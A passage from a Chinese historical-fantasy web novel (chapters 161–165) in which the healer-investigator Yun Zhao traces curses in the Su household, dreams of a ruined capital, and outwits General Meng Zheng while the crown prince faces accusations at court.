但我嫁入苏家这十几年来,与林氏做了十几年的妯娌,对她、对苏家内宅也算了解。
这苏家,人口众多,关系盘根错节,老夫人又非常偏爱林氏,绝非什么清净安乐之地。旁支的那些叔伯婶娘,也多是看老夫人脸色行事的……你若想回来,恐怕不易。”
她这是真心实意的提醒。
云昭谢过王氏的好意,目光却再次落回朱嬷嬷身上。
她总觉得,朱嬷嬷方才指责林氏时,某些话语仿佛意有所指,不仅仅是基于常理的推断。
她放缓了声音,追问道:“朱嬷嬷,你方才断定是林氏所为。除了方才说的那些,可是从前还觉察到林氏有什么不妥之处?”
云昭一直觉得奇怪。
这京城之中,若说有个把像玉衡**那样的邪门术士,并不稀奇。
梅柔卿能懂得一些皮**咒术,也是因为她师从那个藏身于回春堂的薛九针。
可林静薇,一个养在深闺、嫁入高门的贵妇,是从何处学来“九宫断嗣局”这般阴损霸道的邪术?
甚至她的女儿苏玉嬛,都能懂得使用**血混合坟头土那种邪门法子来对付李灼灼。
这绝不仅仅是后宅妇人争风吃醋的小伎俩。
朱嬷嬷被云昭问得一愣,迟疑地看向王氏。
王氏温声道:“嬷嬷,你想到了什么,但说无妨。姜司主是我们的恩人,不必忌讳。”
朱嬷嬷压低声音,带着几分回忆的悚然道:“夫人,您可还记得,大约是三四年前,大房那边发卖了一个名叫润兰的贴身丫头?”
王氏点头:“记得。当时林氏对外说,是那丫头手脚不干净,偷了她的首饰,便将人发卖了。”
说到此处,她神色略显尴尬,压低声音补充道,“不过后来我也隐约听说,真正的原因,是林氏怀疑那润兰心思活络,想勾引大爷,林氏醋意大发,便寻了个由头将人撵了出去。”
朱嬷嬷接口道:“内宅里打发个不本分的丫头,本也是寻常事,老奴当时并未多想。
但方才姜司主追问林氏有何怪异之处,老奴不知怎的,忽然就想起发卖润兰那天的情形。”
她努
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力回忆着,脸上露出些许困惑与后怕:“那润兰被人牙子带走时,老奴正好路过角门。
瞧见她露在外面的手腕和脖颈上,似乎……似乎有一些不规则的、浅浅的黑色印子,像是被什么东西烫的。
当时她眼神直勾勾的,瞧着有些瘆人……老奴只当她是受了打击,如今想来,那模样,倒像是中了什么邪术!”
腕上焦黑的灼痕?云昭眸光一凝!
李灼灼手腕上也有与之类似的灼伤!
看来,林氏母女,确实与这些阴邪手段脱不开干系!
云昭又问:“除此之外,提起林氏,嬷嬷可还能想到其他怪异之处?无论多细微,都可以说。”
朱嬷嬷又想了一会儿,道:“林氏信佛,这府里不少人都知道。她在自己房间里,就单独设了个小佛堂。
不过她供奉的瞧着不是佛像,是个什么……仙人?
有一回我进去回话,偶然瞧见过一眼,是个通体漆黑的仙人雕像,不像寻常寺庙里见过的神仙,瞧着有点阴森森的。”
王氏也点头证实:“林氏说过,那是她娘家祖传下来的,是什么墨玉雕成的,价值千金,平日里宝贝得很,等闲不让人碰。”
“墨玉雕成的仙人?”云昭心头猛地一跳!
她瞬间想起了当日南华郡主身边的嬷嬷曾说过的话——
郡主前些日子神秘兮兮请回来,藏在绣房内室、日日焚香祷告的那个什么‘桃花仙人。
云昭侧眸看向坐在角落的孙婆子,却见孙婆子回视她,微微摇了摇头,意思是她并未见过这种墨玉雕成的小人。
云昭心中疑窦丛生。
此前她一直怀疑,南华郡主身中的桃花咒,与那宋白玉脱不开干系,可如今看来……个中线索,竟仿佛隐隐指向了林静薇?
她不由想起前些日子,李灼灼曾提过,宋白玉与苏玉嬛都是盛京城里有名的才女,平日诗会茶宴,经常凑在一处玩耍,关系颇为密切。
云昭若有所思,指尖轻轻敲击着膝。
这时,就听王氏又道:“别的……好像也没什么特别的了。哦,对了,林氏每年端午前后,雷打不动都要回她老家一趟,说是祭拜先祖。”
“林氏老家是哪里人?”
“江陵府,一个叫清溪县的地方。”
“江陵清溪县……多谢夫人告知。”云昭将这个地名默默记在心里。
说话间,马车已缓缓驶入了桂花巷。
坐在车门外的苏惊墨先行下车,上前叩响了外祖家的门环。
不多时,门房提着灯笼出来,一见是自家姑奶奶深夜归来,又是惊喜又是诧异,连忙进去通传。
很快,王氏那鬓发已有些花白的父母便披着外衣,急匆匆地迎了出来,看到女儿苍白虚弱的模样,又是心疼又是焦急,连忙将人接了进去,一番关切自不必提。
墨七低声请示:“司主,我们接下来去哪?”
云昭坐在车内,眸光幽深。
梅氏、林氏、刘大夫、薛九针、宋白玉、苏玉嬛……还有那个神秘的玉衡**,以及他们背后可能牵连的东宫、姜府……
这些原本看似分散的人与事,此刻在她脑海中飞快地串联、交织,隐隐勾勒出一张隐藏在盛京繁华表象下的巨大暗网。
她觉得自己仿佛一个站在迷雾中的猎人,真相的轮廓,正一点点变得清晰。
“回昭明阁。”她声音清冷,“另外,姜府和东宫那边,都给我盯紧了,一有异动,立刻来报。”
算算时辰,京兆府那边想必已然热闹起来了。
赵悉很快便会亲自率人去往东宫。
至于皇宫那边,也定然瞒不住消息。
她很期待,明天早晨的太阳升起时,这盛京城,又会是一番怎样的风云变幻。
第162章 姜绾心,正是这阵法的祭品!
这一晚,不知是否夜审灵峰的缘故,云昭睡得极不安稳,坠入了一个光怪陆离、却又无比真实的梦境之中。
梦里,她的意识仿佛被剥离了躯壳,再度回到了前世新死之时,那种魂魄无依、飘飘荡荡的虚无状态。
她的魂灵不受控制地飘荡着,掠过无尽的黑暗,最终,竟再次回到了那间囚禁她、折磨她至死的漆黑小屋。
然而这一次,她的视角豁然开朗,不再局限于那方寸之地,而是清晰地“看”清了这囚笼的全貌——
那并非在姜府,而是一座她生前从未涉足过的、处处透着阴森之气的道观!
道观依山而建,飞檐斗拱在灰暗的天色下勾勒出狰狞的剪影,黑瓦白墙,本该是清修之地,却弥漫着一股令人窒息的死寂与邪气。
她的魂魄不由自主地被牵引至道观的前院。
只见汉白玉铺就的宽阔祭台之上,赫然躺着一具新死的女尸!
那女子衣衫华贵却凌乱不堪,双目圆睁,瞳孔中凝固着极致的惊恐与难以置信,竟是姜绾心!
她至死都保持着一种惊骇欲绝的神情,仿佛在生命最后一刻,看到了什么颠覆认知、无法接受的恐怖真相。
她的胸口处,一个诡异的符文正散发着幽幽黑光,仿佛在汲取她最后一点生机。
梦里的云昭,头脑异常清明冷静,只一眼便认出,这绝非寻常死亡,而是一个极其恶毒的献祭阵法!
而姜绾心,正是这阵法核心的祭品!
像她这般死去,不仅肉身消亡,连魂魄都会被这邪阵彻底吞噬、献祭,落得个魂飞魄散、永世不得超生的下场!
她的视线越过祭台,投向道观之外。
只见长街之上,百姓如无头苍蝇般哭嚎奔逃,马蹄声、兵刃交击声、建筑坍塌声不绝于耳。
昔日繁华的盛京城已陷入一片火海与混乱,俨然一副末日景象。
她的魂魄不受控制地越飞越高,视野愈发开阔。
忽然,她远远瞧见了那支在混乱中依旧保持阵型、向着皇宫方向疾驰的军队!
为首之人,骑在高头骏马之上,玄甲染血,身姿挺拔如松,正是秦王萧启!
这一次,她依旧无法看清紧跟在萧启身侧、那名被亲卫簇拥的苏姓小将的具体容貌,但那道身影带给她的感觉异常清晰——
那不是苏惊澜,也绝非她今生见过的任何一位苏家子弟!
她紧跟着萧启,看到他紧抿的嘴唇毫无血色,俊美无俦的脸上笼罩着一层浓重得化不开的死气,那是大限将至、命火将熄的征兆!
“停下来!不要去皇宫!你会死的!”
云昭疯狂呐喊,却发不出任何声音,只能眼睁睁看着他一往无前。
就在这焦灼万分之际,她的目光被萧启战马后方另一道身影吸引。
那人并未穿着铠甲,只一身简单的青布长衫,却难掩其卓然气度。
他双眉斜飞入鬓,眼眸清亮如寒星,鼻梁高挺,唇线紧抿,眉眼生得极好,既有书生的清雅,又不乏江湖客的疏朗。
纵使在千军万马、一片肃杀之中,他依旧从容不迫,仿佛闲庭信步。
云昭的魂魄剧烈震颤起来,忍不住无声地张了张嘴,一个深埋心底的称呼几乎脱口而出:
“大师兄?!”
是丁晏!清微谷的大师兄!他……他竟然还活着?!
紧接着,一股巨大的心悸与悲恸将她猛地从梦境深渊中拽了出来!
云昭倏地坐起身,胸口剧烈起伏,额间颈后俱是涔涔冷汗,浸湿了鬓发和中衣。
窗外,天光已然大亮。
守在外间的莺时和雪信听到动静,快步走了进来。
见云昭脸色苍白,神情惊魂未定,额上都是细密的冷汗,莺时不由心疼地上前,用温热的软帕为她轻轻擦拭:“姑娘,可是梦魇了?”
云昭深吸了几口气,才勉强压下梦中那惊心动魄的景象,声音带着一丝沙哑问道:“现在什么时辰了?”
“天已大亮了。”莺时柔声回道,“京兆府那边的赵大人一早派人传了消息过来,说他今日会照常上朝,将昨夜之事禀明圣上,让姑娘您安心在阁中休息,静候他的消息。”
云昭眸光微凝,昨日发生的种种——
皇宫对峙、苏府风波、审问灵峰、救治王氏、以及有关林氏的疑点……尽数在脑海中回笼,与刚才那个诡异的梦境交织在一起,让她心绪难平。
雪信端来一个精致的剔红食盒:“这是秦王殿下府上的人,一早送过来的。”
云昭打开食盒,只见上层摆放着一碟做工极其精巧的点心,形如含苞待放的玉兰,中心一点鹅黄,散发着清甜的桂花蜜香。
旁边还附着一张洒金花笺,上面是一行力透纸背的小字:
「府中
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新得青州白案师傅,擅制‘玉兰酥’,忆及青州风味,特送来些许,聊以佐餐。」
云昭眸光微动,这“玉兰酥”是青州特有的名点,自从离了清微谷,她已有许久未曾尝到了。
雪信见状,忙道:“姑娘,小厨房熬了白粥,还有温夫人亲手腌渍的脆瓜小菜,正好配这玉兰酥,清淡爽口。奴婢这就去端来。”
云昭点了点头,慢慢拈起一块玉兰酥,小口品尝着。
那酥脆化渣、甜而不腻的熟悉味道,却勾得她因那个梦境而纷乱的心绪更加飘忽。
难道前世,大师兄丁晏真的没有死在清微谷那场浩劫里?他一直活着,甚至……就在萧启身边?
是了,前世萧启与自己素昧平生,若非有极其信任之人从中斡旋,他那样身份贵重、处境微妙之人,怎会那般巧合地找到那处暗无天日的囚室,将她救出?
若那人是大师兄……一切似乎就说得通了。
可这一世,她逆天改命,重生而归,许多事情的轨迹都已截然不同。
前世,她没能救下母亲和温氏,没有机会结识长公主,更未曾出手救治萧启身上的七玄钉,甚至与姜家、东宫、玉衡**这些势力正面交锋……
蝴蝶翅膀早已扇动,命运的河流已然改道。
这一世,大师兄……他还会在某个地方,好好地活着吗?
就在这时,楼下忽然传来一阵不同寻常的喧嚣。
侍立一旁的莺时走到窗边,蹙眉向下望去,只一眼,她便脸色微变。
匆匆走回云昭身侧,她低声禀道:“姑娘,是安南大将军回京了!车马停在了咱们昭明阁门前!”
安南大将军孟峥,当朝孟贵妃一母同胞的兄长,手握重兵,权势煊赫,他常年镇守南疆,是朝中举足轻重的人物,更是太子一系的坚实臂助。
未待云昭回应,楼下已传来一道低沉稳重的男声。
那声音并不刻意提高,却清晰地传入每个人耳中,带着一种久居上位的淡漠与傲慢:
“这便是陛下亲赐的昭明阁?正好。”
他略一停顿,仿佛只是陈述一个既定事实,而非商量,
“本将军麾下有一亲卫,旧伤缠身,久治不愈。听闻姜司主医术玄妙,有起死回生之能。便请司主移步,为他诊治一番。”
这孟峥说话毫无请托之意,更像是一道不容违逆的命令。
第163章 怀着身孕被活生生打死!
楼下隐隐传来苏氏与人对峙的嗓音,与此同时,温氏已提着裙摆,步履匆匆地快步走进云昭房中,脸上带着显而易见的焦灼。
“昭儿!”温氏声音急切,“快,从后门出去,暂避一时!
那孟大将军今日就是存心来找碴儿的!我方才瞧见他带来的那个所谓‘病人’……天爷,那简直不能称之为人了!
满身毒疮溃烂流脓,恶臭扑鼻,形状可怖至极。
方才他们一路招摇过市,沿途百姓见了无不惊恐走避,如同见了瘟神!”
云昭眸光一凝,非但没有听从,反而迅速起身,利落地披上外衫,同时用一根素净木簪将青丝挽在脑后。
她抬眸看向温氏,语气平静得近乎冷凝:“避不了。”
短短三字,掷地有声。
孟峥既然有备而来,存心刁难,她若此刻退缩,这昭明阁上下其他人,必定会沦为孟峥泄愤的对象!
而她这个刚被陛下亲赐立府的玄察司主,日后在朝在野,都将威信扫地,再难立足!
这一步,她绝不能退!
况且……云昭眼底深处似有寒冰凝结。如今她已查明,清微谷满门被屠的血海深仇,幕后黑手正是东宫太子与那妖道玉衡!
而孟清妍与孟峥这对姐弟,一个在后宫兴风作浪,一个在前朝手握兵权,皆是太子麾下最为得力的爪牙,没少为虎作伥!
今日,她便要亲自会一会这位权倾朝野的孟大将军——
先斩太子羽翼,再图后计!
温氏见她心意已决,只得一边快速帮她系好衣带,一边飞快低语,向她剖析孟峥此人的狠辣:
“大姑娘你从前不在京城,不知这孟峥的为人!
他最是护他那个贵妃姐姐,且手段狠辣,睚眦必报!
当年贵妃还未入宫时,曾与鸿胪寺卿家的二小姐冯婉如因一支牡丹钗起了几句口角。当晚那冯小姐归家途中便被人掳了去,
次日清晨,竟被孟峥骑着高头大马,当众从马上扔在了最繁华的朱雀大街上!他还口口声声说是自己从贼人手中将人救下的。”
温氏声音带着一丝不易察觉的颤抖,继续道:“可那冯小姐……浑身伤痕累累,衣衫不整,明眼人一看便知遭遇了什么……她那未婚夫家当即退了婚,冯家父母痛不欲生!
偏偏此时,孟家竟只派了个粗使婆子上门,说要纳冯小姐为妾!
冯家势弱,求助无门,最终只能含恨应下这门**的婚事。”
云昭听得眼神愈发冰冷:“那冯小姐如今可还在他府上?”
温氏摇了摇头,脸上露出悲悯与愤慨交织的神色:“嫁过去不到两年,人就没了。
听说是被活活打死的,发现时还怀着身孕。冯家父母去领尸身,几乎哭瞎了眼。
此事当年在京城闹得沸沸扬扬,人尽皆知。陛下听闻后,也曾下旨申饬过孟峥行为不端。
可没过多久,南疆战事起,这孟峥竟率兵奇袭敌后,火烧连营,立下赫赫战功!
陛下圣心大悦,不仅前事不究,还对他大加封赏,自此更是圣眷日隆,一路高升至今时今日的地位。”
云昭听完这段往事,脸上如同覆了一层寒霜,眼神锐利得惊人。她轻轻拍了拍温氏的手背:“温姨,我知道了。”
见她如此,温氏知她已有计较,只能强压担忧,紧随其后。
而与此同时,长生和惠娘早已自角门离开,分别赶往秦王府和长公主府报信求援。
云昭手提药箱,面无惧色,率先步下楼梯。
昭明阁的厅堂此刻已挤满了人,皆是身着甲胄、煞气凛然的兵士,将原本宽敞的厅堂衬得逼仄压抑。
为首一人,身着玄色暗纹军装,并未披甲,却比满屋甲士更具压迫感。
他生得剑眉星目,面容与孟贵妃有五六分相似,堪称俊美,但眉宇间却蕴藉着一股挥之不去的阴鸷与邪肆,仿佛毒蛇吐信,令人不寒而栗。
他好整以暇地坐在主位之侧,一见云昭下楼,目光便毫不避讳地在她身上逡巡打量,那眼神狎昵而露骨,带着毫不掩饰的侵略性。
云昭面色不变,行至楼梯中段,忽然抬手,宽大的袖袍之中洒出一把淡黄色的粉末,如同薄雾般兜头朝着孟峥及其随从飘去!
孟峥虽身手不凡,却未料到她有此一招,距离又近,当下便吸入些许。
他身后的副将、亲兵亦未能幸免,顿时呛咳连连,狼狈不堪。
“放肆!”孟峥猛地一拍座椅扶手,霍然起身,指着云昭厉声喝骂,“姜云昭!你好大的胆子!竟敢公然谋害朝廷命官?!”
云昭却拍了拍手,仿佛掸去灰尘,语气平静无波:“大将军误会了。我观您带来的这位军士,症状凶险,溃烂流脓,面色青黑,倒像是南疆一带流传的时疫‘腐骨热’。
此症传染性极强。方才情急,只得先洒些避秽防疫的药粉,以防扩散。”
说着,她将手中一个白瓷药瓶递给孙婆子,煞有介事道:
“哑婆,速去打几盆清水来,将此药化入,将这前厅后院,里里外外都仔细喷洒一遍。”
孟峥气得额头青筋直跳,怒道:“胡言乱语!什么时疫!他就是浑身生疮!乃是旧伤毒发所致!”
云昭却不急不缓,随口背诵了两句医典中关于疫症的描述:“《瘟疫论》有云,‘腐气侵肌,痈疡遍体,相互染易,乃至灭门’。
我观此症,高热、溃烂、恶臭、神昏,与记载一般无二。确实像时疫。”
她转而追问孟峥,语气严肃,“敢问大将军,这位军士是于何时、何地初次发病?病发之前,可曾接触过什么不寻常之物,或到过什么异常之地?”
孟峥被她问得一怔,脸色惊疑不定,下意识侧眸看向身旁一名留着短须、眼神精明的幕僚。
那幕僚眼珠一转,上前一步,对云昭拱手道:“回姜司主,此人原是军中负责喂养马匹的马夫。
大军回京途中,行至落雁坡附近时,他突然就病了起来,之前并无任何异状。”
云昭垂眸,目光在那“病人”身上迅速而仔细地打量了一圈。
这人浑身恶疮,腥臭难闻。但他身上那套军服明显不合身,袖口、裤腿都长了一截,连脚上的军靴都大得不合脚。
更别提那双手,虽有些脏污,却并无长期握兵器或做粗活留下的厚茧。
这根本不是什么军中马夫,而是孟峥不知从哪个流民堆里特意寻来,专为恶心刁难她的工具!
云昭心底不由冷笑一
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声,为了给孟贵妃出气,这孟峥还真是煞费苦心!
她的目光再次落回孟峥身上。这一次,她悄然运转玄力,开启了玄瞳视界。
孟峥周身并非寻常武将因战场杀伐积累的刚烈之气,而是纠缠着无数冤魂孽债的血煞怨气!
最让云昭惊讶的是,孟峥竟不知被何人下了白骨咒!
此咒源于南疆秘术,需以百名惨死者血祭方能成咒。
中咒者不会立刻死去,而是会先经历种种倒霉厄运,继而骨骼如被蚁噬,剧痛钻心,最终在极度痛苦中血肉消融,活生生化作一具白骨!
而施咒者亦会遭受强烈反噬,多半不得善终,实乃玉石俱焚之法!
不出所料,云昭在孟峥周身那上百张扭曲哀嚎的森然鬼脸之中,看到了一张格外醒目、颜色血红的鬼脸!
那鬼脸生前极具异域风情,美艳绝伦,正是对孟峥施下白骨咒的复仇者!
孟峥见云昭一直盯着自己瞧,不由勾起一抹自以为风流的得意笑容,眼底的淫邪之意几乎要溢出来:“怎么?姜司主这般看着本将军,莫非是被本将军的英姿所慑?”
云昭并未接话,只扬声道:“哑婆。”
孙婆子会意,立刻与阁中几名粗使婆子一起,端着兑了药粉的沁凉井水,开始毫不客气地四处泼洒,水珠甚至溅到了那些兵士的身上、脸上。
孟峥脸色一沉,眼看就要发作。
云昭却抢先开口:“我这也是为了祛除疫气,还请诸位暂且散到外院等候!
否则若是耽搁了治疗,大将军怪罪下来,你们谁能担待得起?”
孟峥盯着云昭皎白的脸庞,语带轻薄:“姜司主如此尽心尽力,倒让本将军心生怜爱了。
不若你随我回府,专门为本将军调理身子,岂不胜过在这劳什子昭明阁抛头露面?”
一旁侍立的墨七与墨十七闻言,脸色瞬间铁青,手已按上了腰间兵器。
云昭却抬手,轻轻制止了她们。
她面上看不出喜怒,反而转身,在莺时和雪信震惊的目光中,亲手端起一盏刚沏好的茶,缓步走向孟峥。
“大将军一路辛苦,请用茶。”
孟峥却警惕地盯着那杯茶,非但不接,反而抬手猛地一挥!
“啪嚓!”
茶盏应声落地,摔得粉碎,滚烫的茶水四溅开来,有一些正巧溅落在了孟峥腰间悬挂的一枚羊脂白玉螭龙佩上。
“你的茶,本将军可不敢喝!”孟峥冷笑了声。
云昭目光微垂,只见那玉佩上最后一丝莹润宝光,在被茶水沾染后,彻底湮灭,就此黯淡无光。
这玉佩也不知孟峥从何处得来,实是难得的宝物。
正因为有了此物,才勉强压制住他周身冲天的怨气与那白骨咒,延缓了他厄运爆发的时间。
否则,以他造下的杀孽和所中恶咒,恐怕根本等不到回京,早在路上就该倒大霉了!
而云昭正是算准了孟峥疑心重,绝不敢喝她奉上的茶,加之其性情跋扈,必定会当场掀翻茶盏。
这才故意借奉茶之机,将能污秽法器灵光的粉末融入茶中。
孟峥啊孟峥,你就好好尝一尝百鬼噬骨、恶咒缠身的滋味吧!云昭垂下眼帘,掩去眸底一闪而过的冷芒。
第164章 必须禁欲!
孟峥甩掉手上水渍,脸色一沉,周身那股久经沙场的煞气不再掩饰,声音冷硬如铁:
“姜云昭,少在这拖延时间!此人你若治不好,便是渎职无能!
本将军今日便以军法治你怠慢军务、贻误病情之罪!”
厅内气氛瞬间凝滞,剑拔**张。
昭明阁众人心弦紧绷,几乎能听到自己擂鼓般的心跳。
就在此时,一道清越而极具穿透力的嗓音自门外传来,打破了这令人窒息的僵局:
“军法?治谁的罪?”
众人循声望去,只见一道颀长挺拔的身影逆光步入厅堂。
萧启身着月色常服,面容俊美无俦,然而那双深邃凤眸扫过全场时,自有一股不容置喙的凛然威仪。
他目光精准地落在孟峥身上,语气平稳,却字字千钧:“孟大将军要治罪未来的秦王妃,可曾先问过本王?”
眼见萧启及时出现,如同定海神针,昭明阁众人紧绷的心弦不由一松,大大松了口气。
然而,云昭在见到萧启的一瞬间,清冷的面容上非但没有流露出丝毫轻松,反而几不可察地微微色变。
萧启的目光与云昭相撞,敏锐地捕捉到她眼底一闪而逝的疏离。
联想到清晨出宫时,墨七匆匆回报云昭昨夜已提审灵峰,得知了清微谷被戮真相……他的心,猛地往下一沉。
若不是为了彻底斩断他一切生息,清微谷上下何至遭此灭顶之灾?
满门**,血海深仇,竟皆系于他一身!
这个猜测,其实早在他亲眼目睹清微谷那片焦土废墟时,便如同毒蛇般啃噬着他的内心。
他本欲寻得合适时机,亲自向云昭袒露这一切,却没想到,她竟先从旁人口中得知真相!
一股难以言喻的忐忑与酸楚瞬间攫住了萧启。
此刻眼见云昭神色不虞,他甚至连呼吸都不自觉地急促了几分,胸腔内泛起密密麻麻的刺痛,竟比那七玄钉发作时更甚。
一旁的孟峥眼见萧启出现,脸色明显阴沉下来,语气带着毫不掩饰的不快:“秦王殿下消息倒是灵通得很!”
萧启收回凝在云昭身上的视线,转向孟峥时,目光已恢复一贯的沉静冷冽:“本王前来,乃是为传陛下口谕。”
他略一停顿,清晰吐出几字:“陛下口谕,传安南大将军孟峥,即刻入宫觐见。孟将军,请吧。”
孟峥眉头紧锁,显然不愿就此罢休,阴鸷的目光扫向云昭。
萧启身形微动,彻底将云昭的身影挡了个严严实实,看向孟峥的眼中,毫不掩饰凛然杀意。
孟峥眼神下意识地瑟缩,心中一时恼火。
阿姊既厌憎此女,便该竭力阻止这桩婚事!
这姜云昭本就难缠,如今眼瞧着还要嫁入秦王府,他就算存心为难,有秦王挡在前头,也实难下手。
云昭却已不再看他,径直走到担架前。
她目光锋锐,精准地落在那人裸露的手腕内侧——
那里,隐约可见一个模糊的、形似三足怪鸟的暗红色刺青。
那人似乎觉察了她的目光,蜷缩着身子,快速挡住了手腕。
“孟将军放心,”云昭声音平静无波,却带着一种奇异的笃定,“这人,我收下了。他这‘病’……我能治。”
孟峥闻言深看了云昭一眼,终是冷哼一声,带着一众亲兵悻悻离去。
待孟峥一行人身影消失,萧启上前一步,声音放低,带着一丝不易察觉的恳切:“我……有几句话想同你说。”
云昭却恍若未闻,径直对孙婆子吩咐道:“哑婆,将人抬到后院西厢那间空着的静室去,小心些,勿要触碰到他身上的脓疮。”
说罢,她转身便向后院走去,步履匆匆。
萧启见她不理自己,心头那抹慌乱愈发浓重,也顾不得许多,一路紧跟着她穿过回廊,直至后院人迹稍稀之处。
他试图找些话题,声音带着些许急促:“云昭,今日在朝堂之上,太子他……”
话音未落,走在前面的云昭猛地停下脚步,倏然转身。
此时四下无人,唯有风吹过竹叶的沙沙轻响。
她抬眸直视萧启,脸上再无平日的清冷疏离,取而代之的是一种极其严肃、甚至带着几分凝重的神情,劈头便问:
“昨日在宫中与我分别之后,殿下见过何人?又用过什么特殊的东西?”
萧启被她问得一怔,有些反应不及。
云昭目光如炬,语气沉凝:“殿下身上的桃花煞我此前已解了大半,七玄钉之中,蚀元之诅已除,另外五重恶诅,本都应处于沉寂状态……”
她眉头紧锁,语速加快:“为何独独那第三重的‘焚心’,竟有被强行激发之象?”
萧启凝眉沉思,随即摇了摇头,肯定地道:“并无见过什么特殊之人,饮食用度皆与往常无异。”
云昭闻言,眸中疑虑未消,反而更深。她当机立断:“此地不便细查,请殿下随我来。”
她引着萧启,一路行至昭明阁三楼的静室。关上房门,隔绝了外界一切声响。
“请殿下除下外衣。”
萧启依言照做,端坐在椅上。
心中却因这独处一室的“特殊待遇”而愈发忐忑,又夹杂着一丝难以言喻的悸动。
云昭站在他身后,手持金针,精准地刺入他背部几处大穴,以玄妙手法疏导着他体内因“焚心”躁动而紊乱的气息。
她敏锐地察觉到手下肌肉的紧绷与明显失了章法的心跳,不由得出声提醒:“殿下,静心凝神。暂且不要去想太子。”
萧启:“……”
他想太子做什么?他此刻心绪不宁,分明是因为……
云昭手下金针飞舞,神情却有些凝重:“看来这桃花煞残留的影响,比我想象的更深,必须尽早彻底拔除,不能再拖了。”
她思忖片刻,脑中灵光一闪,一个大胆的方案逐渐成形。
只是这办法,着实有点损。
她收起金针,转向萧启:“殿下,我有一个法子,或可尝试强行将那桃花煞的根种直接拔出。
但此法霸道,过程颇为痛苦。而且施术之后,殿下需谨守元阳,至少半年之内,不得亲近任何女子,必须禁欲。”
萧启闻言,耳根微不可察地泛红,嗓音因紧绷而略显低哑:“这本是……应该的。”
他与她尚未成婚,他岂会是那等孟浪之人?
云昭见他答应得干脆,心下稍慰。身为医者,
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最喜欢的便是这等全力配合的病人。
“那便请殿下今夜亥时初刻,再来昭明阁,届时我为你行针用药。”她仔细叮嘱,“切记,今日不可饮酒。”
萧启见她语气如常,安排诊治事宜条理清晰,似乎并未因清微谷之事而对他心存芥蒂,心中却更加忐忑——
她究竟是如何想的?
是真的并未因此而与他生了嫌隙,还是打算治好了他,再划清界限、彻底疏远?
萧启既怕贸然开口询问,会打破这表面的平静,惹她不快;又无法忍受这悬而未决的煎熬,一时心绪摇摆,只觉此生都未曾如此患得患失过。
云昭并未察觉他内心的波涛汹涌,自顾自地收拾着金针,一边问道:“殿下方才说,今日朝堂之上,发生了何事?”
提及朝堂之事,萧启还未开口,唇角便已不受控制地轻轻翘起,露出一抹带着冷嘲与快意的弧度。
原来,因文昌大典在即,皇帝亦有心借此机会考校并安抚太子,今日丑时刚过,便遣了心腹常玉公公亲赴东宫传旨,命太子即日起恢复上朝议事。
谁知常公公回来复命时,脸色颇为怪异,支吾半晌才回禀,说太子殿下瞧着……气色似乎不大好,精神也有些萎靡。
皇帝只当太子是因之前被禁足东宫,心中郁结,加之骤然恢复早起上朝有些不适应,当时并未深想。
无人会想到,今日早朝,京兆尹赵悉领着一位特殊的人物上了金殿——
正是丹阳郡公府那位久病缠身、深居简出的大公子,李扶舟。
李扶舟是京城出了名的病弱才子,三岁能诗,七岁成文,未及弱冠便已才名动京师,是上一科陛下亲点的状元郎!
只可惜天妒英才,身子骨实在太弱,皇帝爱其才,却不敢委以重任,只得让他挂个虚职在家将养。
满朝文官大多惜其才,怜其命,对他自有一层“谪仙落凡尘”的惋惜与滤镜。
此刻,只见这位素来风姿卓绝的扶舟公子,一上金殿便推开搀扶的内侍,对着御座上的皇帝,竟是双膝一软,直挺挺地跪了下去!
这李扶舟也是个妙人,一见皇帝,未语泪先流:
“陛下!臣身子不济,缠绵病榻,上不能为君分忧,下不能光耀门楣,已是有负圣恩,有愧父亲期望,更让亡母在天之灵难以瞑目,致使幼妹无所依靠……
臣是无用之人,苟活于世罢了……”
他本就生得极好,此刻泪落如雨,更显脆弱堪怜,一番自贬之言说得情真意切,闻者无不动容。
满朝文武皆露同情与震惊之色。
皇帝更是心中恻然,竟亲自步下御阶,弯腰欲将他搀扶起来:“爱卿何出此言!快快起来,有话慢慢说。可是受了什么委屈?”
李扶舟却执意不起,抬起泪眼,将昨夜郡公府遭遇贼人潜入、意图不轨之事,绘声绘色、细节详尽地陈述了一遍。
说到惊险处,更是语带颤音:“……那贼子凶悍,被护卫发现后竟欲暴起伤人,幸得护卫拼死将其制服。
谁知,他眼见罪行暴露,竟立刻咬破口中暗藏的毒囊,当场自尽而亡!
经辨认,此人……正是东宫侍卫统领,灵峰!”
第165章 摸错了院子,偷错了人!
此言一出,满堂皆惊!
一直垂眸静立、仿佛事不关己的太子猛地抬起头,失声道:“怎会?!扶舟公子会不会是认错人了?”
李扶舟声气虽弱,却字字清晰:“殿下,臣人微言轻,不敢妄言。
臣只庆幸,昨夜那贼人摸错了院子,偷错了人!
臣身为男子,受此惊吓,尚可说是无妄之灾,不惧人言可畏。
可若昨夜,那贼人去的是舍妹县主所居的院落……恐怕今日,臣与陛下、与满朝诸公要见的,便已是舍妹冰凉的尸首了!
太子闻言,脸上瞬间布满痛心与愧疚,连忙向皇帝躬身:“父皇!儿臣……儿臣实在不知!
昨夜儿臣早早便歇下,今晨亦是匆匆上朝,并未见到灵峰,实不知他……他竟会做出如此禽兽不如之事!是儿臣御下不严,请父皇责罚!”
几乎是意料之中的,太子将所有责任都推给了已死的灵峰,将自己摘得干干净净,一副被蒙在鼓里、无辜受累的模样。
皇帝的脸色彻底沉了下来,目光锋锐,在面色沉静的太子与荏弱跪地的李扶舟之间逡巡。
整个金殿顿时如同炸开了锅!
“灵峰虽是东宫侍卫,但此事未必就是太子殿下指使啊!”
“笑话!若非得了主子示意,一个侍卫统领,哪来那么大的胆子,敢夜闯郡公府,行此卑劣之事?”
“太子殿下向来仁厚贤德,温润知礼,岂会行此龌龊之举?定是那灵峰利欲熏心!”
“正是!单凭一个已死之人的身份,怎能断定是太子指使?还需实证!”
因太子素来营造的形象极佳,声望颇高,大多数朝臣,尤其是清流一脉,仍是倾向于相信太子是被手下恶奴蒙蔽。
一切都是灵峰个人作孽的说法,渐渐在争论中占据了上风。
就在**几乎要一边倒地向太子倾斜,眼看就要以“恶奴欺主、太子失察”轻轻揭过之际——
一直沉默旁观的京兆尹赵悉,忽然上前一步,从袖中取出一份文书。
“诸位同僚,请稍安勿躁。”
他顿了顿,目光若有似无地扫过脸色骤然僵硬的太子,缓缓道出了那句石破天惊的话:
“灵峰虽已服毒自尽,但尸首尚在京兆府。
经仵作仔细查验,幸不辱命,发现了一个关键之处——”
他刻意停顿了一下,确保所有人的注意力都集中过来,才一字一句,清晰地说道:
“这灵峰,乃是个阉人,下体有陈旧利器伤痕,早已失去人道之能。”
满殿瞬间死寂!落针可闻!
方才还为太子激烈辩护的声音戛然而止!
